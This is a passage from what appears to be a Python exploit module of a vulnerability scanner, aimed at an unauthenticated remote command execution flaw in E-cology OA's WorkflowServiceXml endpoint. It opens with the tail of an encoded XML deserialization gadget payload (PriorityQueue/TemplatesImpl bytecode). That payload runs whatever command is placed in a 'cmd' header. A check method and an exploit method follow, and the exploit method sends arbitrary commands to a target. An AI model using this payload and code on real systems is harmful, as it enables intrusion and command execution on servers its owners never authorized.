&#65;&#70;&#121;&#50;&#50;&#65;&#66;&#101;&#50;&#65;&#66;&#105;&#50;&#65;&#66;&#109;&#50;&#65;&#66;&#113;&#51;&#65;&#66;&#115;&#83;&#72;&#76;&#89;&#65;&#72;&#98;&#89;&#65;&#72;&#114;&#89;&#65;&#72;&#54;&#99;&#65;&#67;&#69;&#115;&#113;&#116;&#103;&#65;&#104;&#115;&#81;&#65;&#66;&#65;&#65;&#81;&#65;&#101;&#103;&#66;&#57;&#65;&#67;&#65;&#65;&#65;&#119;&#65;&#112;&#65;&#65;&#65;&#65;&#80;&#103;&#65;&#80;&#65;&#65;&#65;&#65;&#67;&#81;&#65;&#69;&#65;&#65;&#48;&#65;&#69;&#65;&#65;&#79;&#65;&#66;&#115;&#65;&#68;&#119;&#65;&#111;&#65;&#66;&#65;&#65;&#77;&#81;&#65;&#82;&#65;&#68;&#103;&#65;&#69;&#103;&#66;&#66;&#65;&#66;&#77;&#65;&#83;&#103;&#65;&#85;&#65;&#72;&#69;&#65;&#70;&#81;&#66;&#51;&#65;&#66;&#81;&#65;&#101;&#103;&#65;&#90;&#65;&#72;&#48;&#65;&#70;&#119;&#66;&#43;&#65;&#66;&#103;&#65;&#103;&#103;&#65;&#97;&#65;&#67;&#111;&#65;&#65;&#65;&#66;&#73;&#65;&#65;&#99;&#65;&#79;&#65;&#66;&#67;&#65;&#67;&#52;&#65;&#74;&#81;&#65;&#68;&#65;&#69;&#69;&#65;&#79;&#81;&#65;&#118;&#65;&#68;&#65;&#65;&#66;&#65;&#66;&#75;&#65;&#68;&#65;&#65;&#77;&#81;&#65;&#121;&#65;&#65;&#85;&#65;&#69;&#65;&#66;&#113;&#65;&#68;&#77;&#65;&#78;&#65;&#65;&#65;&#65;&#66;&#115;&#65;&#88;&#119;&#65;&#49;&#65;&#68;&#89;&#65;&#65;&#81;&#65;&#111;&#65;&#70;&#73;&#65;&#78;&#119;&#65;&#52;&#65;&#65;&#73;&#65;&#102;&#103;&#65;&#69;&#65;&#68;&#107;&#65;&#79;&#103;&#65;&#65;&#65;&#68;&#115;&#65;&#65;&#65;&#65;&#75;&#65;&#65;&#80;&#55;&#65;&#72;&#112;&#67;&#66;&#119;&#65;&#56;&#66;&#65;&#65;&#66;&#65;&#68;&#48;&#65;&#65;&#65;&#65;&#67;&#65;&#68;&#52;&#61;&lt;&#47;&#98;&#121;&#116;&#101;&#45;&#97;&#114;&#114;&#97;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#98;&#121;&#116;&#101;&#45;&#97;&#114;&#114;&#97;&#121;&gt;&#121;&#118;&#54;&#54;&#118;&#103;&#65;&#65;&#65;&#68;&#73;&#65;&#71;&#119;&#111;&#65;&#65;&#119;&#65;&#86;&#66;&#119;&#65;&#88;&#66;&#119;&#65;&#89;&#66;&#119;&#65;&#90;&#65;&#81;&#65;&#81;&#99;&#50;&#86;&#121;&#97;&#87;&#70;&#115;&#86;&#109;&#86;&#121;&#99;&#50;&#108;&#118;&#98;&#108;&#86;&#74;&#82;&#65;&#69;&#65;&#65;&#85;&#111;&#66;&#65;&#65;&#49;&#68;&#98;&#50;&#53;&#122;&#100;&#71;&#70;&#117;&#100;&#70;&#90;&#104;&#98;&#72;&#86;&#108;&#66;&#88;&#72;&#109;&#97;&#101;&#52;&#56;&#98;&#85;&#99;&#89;&#65;&#81;&#65;&#71;&#80;&#71;&#108;&#117;&#97;&#88;&#81;&#43;&#65;&#81;&#65;&#68;&#75;&#67;&#108;&#87;&#65;&#81;&#65;&#69;&#81;&#50;&#57;&#107;&#90;&#81;&#69;&#65;&#68;&#48;&#120;&#112;&#98;&#109;&#86;&#79;&#100;&#87;&#49;&#105;&#90;&#88;&#74;&#85;&#89;&#87;&#74;&#115;&#90;&#81;&#69;&#65;&#69;&#107;&#120;&#118;&#89;&#50;&#70;&#115;&#86;&#109;&#70;&#121;&#97;&#87;&#70;&#105;&#98;&#71;&#86;&#85;&#89;&#87;&#74;&#115;&#90;&#81;&#69;&#65;&#66;&#72;&#82;&#111;&#97;&#88;&#77;&#66;&#65;&#65;&#78;&#71;&#98;&#50;&#56;&#66;&#65;&#65;&#120;&#74;&#98;&#109;&#53;&#108;&#99;&#107;&#78;&#115;&#89;&#88;&#78;&#122;&#90;&#88;&#77;&#66;&#65;&#67;&#86;&#77;&#101;&#88;&#78;&#118;&#99;&#50;&#86;&#121;&#97;&#87;&#70;&#115;&#76;&#51;&#66;&#104;&#101;&#87;&#120;&#118;&#89;&#87;&#82;&#122;&#76;&#51;&#86;&#48;&#97;&#87;&#119;&#118;&#82;&#50;&#70;&#107;&#90;&#50;&#86;&#48;&#99;&#121;&#82;&#71;&#98;&#50;&#56;&#55;&#65;&#81;&#65;&#75;&#85;&#50;&#57;&#49;&#99;&#109;&#78;&#108;&#82;&#109;&#108;&#115;&#90;&#81;&#69;&#65;&#68;&#69;&#100;&#104;&#90;&#71;&#100;&#108;&#100;&#72;&#77;&#117;&#97;&#109;&#70;&#50;&#89;&#81;&#119;&#65;&#67;&#103;&#65;&#76;&#66;&#119;&#65;&#97;&#65;&#81;&#65;&#106;&#101;&#88;&#78;&#118;&#99;&#50;&#86;&#121;&#97;&#87;&#70;&#115;&#76;&#51;&#66;&#104;&#101;&#87;&#120;&#118;&#89;&#87;&#82;&#122;&#76;&#51;&#86;&#48;&#97;&#87;&#119;&#118;&#82;&#50;&#70;&#107;&#90;&#50;&#86;&#48;&#99;&#121;&#82;&#71;&#98;&#50;&#56;&#66;&#65;&#66;&#66;&#113;&#89;&#88;&#90;&#104;&#76;&#50;&#120;&#104;&#98;&#109;&#99;&#118;&#84;&#50;&#74;&#113;&#90;&#87;&#78;&#48;&#65;&#81;&#65;&#85;&#97;&#109;&#70;&#50;&#89;&#83;&#57;&#112;&#98;&#121;&#57;&#84;&#90;&#88;&#74;&#112;&#89;&#87;&#120;&#112;&#101;&#109;&#70;&#105;&#98;&#71;&#85;&#66;&#65;&#66;&#57;&#53;&#99;&#50;&#57;&#122;&#90;&#88;&#74;&#112;&#89;&#87;&#119;&#118;&#99;&#71;&#70;&#53;&#98;&#71;&#57;&#104;&#90;&#72;&#77;&#118;&#100;&#88;&#82;&#112;&#98;&#67;&#57;&#72;&#89;&#87;&#82;&#110;&#90;&#88;&#82;&#122;&#65;&#67;&#69;&#65;&#65;&#103;&#65;&#68;&#65;&#65;&#69;&#65;&#66;&#65;&#65;&#66;&#65;&#66;&#111;&#65;&#66;&#81;&#65;&#71;&#65;&#65;&#69;&#65;&#66;&#119;&#65;&#65;&#65;&#65;&#73;&#65;&#67;&#65;&#65;&#66;&#65;&#65;&#69;&#65;&#67;&#103;&#65;&#76;&#65;&#65;&#69;&#65;&#68;&#65;&#65;&#65;&#65;&#67;&#56;&#65;&#65;&#81;&#65;&#66;&#65;&#65;&#65;&#65;&#66;&#83;&#113;&#51;&#65;&#65;&#71;&#120;&#65;&#65;&#65;&#65;&#65;&#103;&#65;&#78;&#65;&#65;&#65;&#65;&#66;&#103;&#65;&#66;&#65;&#65;&#65;&#65;&#80;&#65;&#65;&#79;&#65;&#65;&#65;&#65;&#68;&#65;&#65;&#66;&#65;&#65;&#65;&#65;&#66;&#81;&#65;&#80;&#65;&#66;&#73;&#65;&#65;&#65;&#65;&#67;&#65;&#66;&#77;&#65;&#65;&#65;&#65;&#67;&#65;&#66;&#81;&#65;&#69;&#81;&#65;&#65;&#65;&#65;&#111;&#65;&#65;&#81;&#65;&#67;&#65;&#66;&#89;&#65;&#69;&#65;&#65;&#74;&lt;&#47;&#98;&#121;&#116;&#101;&#45;&#97;&#114;&#114;&#97;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#95;&#95;&#98;&#121;&#116;&#101;&#99;&#111;&#100;&#101;&#115;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#116;&#114;&#97;&#110;&#115;&#108;&#101;&#116;&#73;&#110;&#100;&#101;&#120;&gt;&#45;&#49;&lt;&#47;&#95;&#95;&#116;&#114;&#97;&#110;&#115;&#108;&#101;&#116;&#73;&#110;&#100;&#101;&#120;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#95;&#95;&#105;&#110;&#100;&#101;&#110;&#116;&#78;&#117;&#109;&#98;&#101;&#114;&gt;&#48;&lt;&#47;&#95;&#95;&#105;&#110;&#100;&#101;&#110;&#116;&#78;&#117;&#109;&#98;&#101;&#114;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#100;&#101;&#102;&#97;&#117;&#108;&#116;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#98;&#111;&#111;&#108;&#101;&#97;&#110;&gt;&#102;&#97;&#108;&#115;&#101;&lt;&#47;&#98;&#111;&#111;&#108;&#101;&#97;&#110;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&lt;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&#32;&#114;&#101;&#102;&#101;&#114;&#101;&#110;&#99;&#101;&#61;&quot;&#46;&#46;&#47;&#99;&#111;&#109;&#46;&#115;&#117;&#110;&#46;&#111;&#114;&#103;&#46;&#97;&#112;&#97;&#99;&#104;&#101;&#46;&#120;&#97;&#108;&#97;&#110;&#46;&#105;&#110;&#116;&#101;&#114;&#110;&#97;&#108;&#46;&#120;&#115;&#108;&#116;&#99;&#46;&#116;&#114;&#97;&#120;&#46;&#84;&#101;&#109;&#112;&#108;&#97;&#116;&#101;&#115;&#73;&#109;&#112;&#108;&quot;&#47;&gt;&#13;&#10;&#32;&#32;&lt;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;&#13;&#10;&lt;&#47;&#106;&#97;&#118;&#97;&#46;&#117;&#116;&#105;&#108;&#46;&#80;&#114;&#105;&#111;&#114;&#105;&#116;&#121;&#81;&#117;&#101;&#117;&#101;&gt;</web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>'''

    def time_2021_0515_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "E-cology OA WorkflowServiceXml RCE: time-2021-0515"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_name"] = "E-cology OA WorkflowServiceXml RCE"
        self.vul_info["vul_numb"] = "time-2021-0415"
        self.vul_info["vul_apps"] = "E-cology"
        self.vul_info["vul_date"] = "2021-05-15"
        self.vul_info["vul_vers"] = "E-cology <= 9.0"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "RCE"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "The WorkflowServiceXml interface can be accessed without authorization. The attacker can call this interface to construct a specific HTTP request to bypass the security restrictions of E-cology itself to achieve remote command execution."
        self.vul_info["cre_date"] = "2021-05-19"
        self.vul_info["cre_auth"] = "zhzyker"
        url = urljoin(self.url, "/services%20/WorkflowServiceXml")
        md = random_md5()
        cmd = "echo " + md
        headers = {
            'User-Agent': self.ua,
            'SOAPAction': '""',
            'cmd': cmd,
            "Content-Type": "text/xml;charset=UTF-8"
        }
        data = self.payload_time_2021_0515
        try:
            request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            #print(self.url + "  " + str(request.status_code) + request.text)
            if md in misinformation(request.text, md) and request.status_code == 500:
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_info"] = "[rce: " + url + " ]"
            verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception as error:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def time_2021_0515_exp(self, cmd):
        vul_name = "E-cology OA WorkflowServiceXml RCE: time-2021-0515"
        url = urljoin(self.url, "/services%20/WorkflowServiceXml")
        headers = {
            'User-Agent': self.ua,
            'SOAPAction': '""',
            'cmd': cmd,
            "Content-Type": "text/xml;charset=UTF-8"
        }
        data = self.payload_time_2021_0515
        try:
            request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            self.raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            verify.exploit_print(request.text, self.raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception:
            verify.error_print(vul_name)
